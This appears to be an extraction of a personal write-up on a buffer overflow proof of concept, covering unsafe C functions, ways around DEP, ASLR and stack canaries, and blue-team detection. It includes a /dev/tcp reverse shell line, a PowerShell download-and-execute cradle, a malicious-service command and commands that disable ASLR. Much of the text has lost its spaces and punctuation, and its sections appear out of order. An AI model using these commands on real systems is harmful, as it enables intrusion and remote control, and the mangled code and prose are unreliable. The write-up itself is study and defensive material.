TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
